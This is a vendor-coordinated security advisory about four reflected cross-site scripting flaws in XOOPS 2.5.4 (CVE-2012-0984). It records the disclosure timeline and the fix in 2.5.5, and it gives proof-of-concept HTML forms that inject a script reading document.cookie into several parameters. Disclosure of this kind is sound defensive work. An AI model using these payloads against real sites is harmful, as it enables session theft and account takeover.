Multiple XSS vulnerabilities in XOOPS
| Advisory ID: | HTB23062 |
| Product: | XOOPS |
| Vendor: | xoops.org |
| Vulnerable Versions: | 2.5.4 and probably prior |
| Tested Version: | 2.5.4 |
| Advisory Publication: | December 7, 2011 [without technical details] |
| Vendor Notification: | December 7, 2011 |
| Vendor Fix: | February 22, 2012 |
| Public Disclosure: | April 18, 2012 |
| Latest Update: | April 16, 2012 |
| Vulnerability Type: | Cross-Site Scripting [CWE-79] |
| CVE Reference: | CVE-2012-0984 |
| Risk Level: | Medium |
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| CVSSv2 Base Score: | 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N) |
| Solution Status: | Fixed by Vendor |
| Discovered and Provided: | High-Tech Bridge Security Research Lab |
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Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in XOOPS, which can be exploited to perform Cross-Site Scripting (XSS) attacks.
1) Multiple Cross-Site Scripting (XSS) in XOOPS: CVE-2012-0984
1.1 Input passed via the "to_userid" POST parameter to /modules/pm/pmlite.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC code is available:
<form action='http://[host]/modules/pm/pmlite.php' method="post">
<input type="hidden" name="sendmod" value='1'>
<input type="hidden" name="to_userid" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>
1.2 Input passed via the "current_file" POST parameter to /class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC code is available:
<form action="http://[host]/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/pl ugins/xoopsimagemanager/xoopsimagebrowser.php?target=1" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="current_file" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>
1.3 Input passed via the "imgcat_id" POST parameter to /class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC code is available:
<form action="http://[host]/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/pl ugins/xoopsimagemanager/xoopsimagebrowser.php?target=1" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="imgcat_id" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="op" value='editcat'>
<input type="submit" value="submit" id="btn">
</form>
1.4 Input passed via the "target" POST parameter to /class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC code is available:
<form action="http://[host]/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/pl ugins/xoopsimagemanager/xoopsimagebrowser.php" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="target" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form> |
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Solution: |
Upgrade to XOOPS 2.5.5 Final.
More information:
http://xoops.org/modules/news/article.php?storyid=6284 |
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References: |
[1] High-Tech Bridge Advisory HTB23062 - https://www.immuniweb.com/advisory/HTB23062 - Multiple XSS vulnerabilities in XOOPS.
[2] XOOPS - http://www.xoops.org/ - XOOPS is a web application platform written in PHP for the MySQL database. Its object orientation makes it an ideal tool for developing small or large community websites, intra company and corporate portals, weblogs and much more.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
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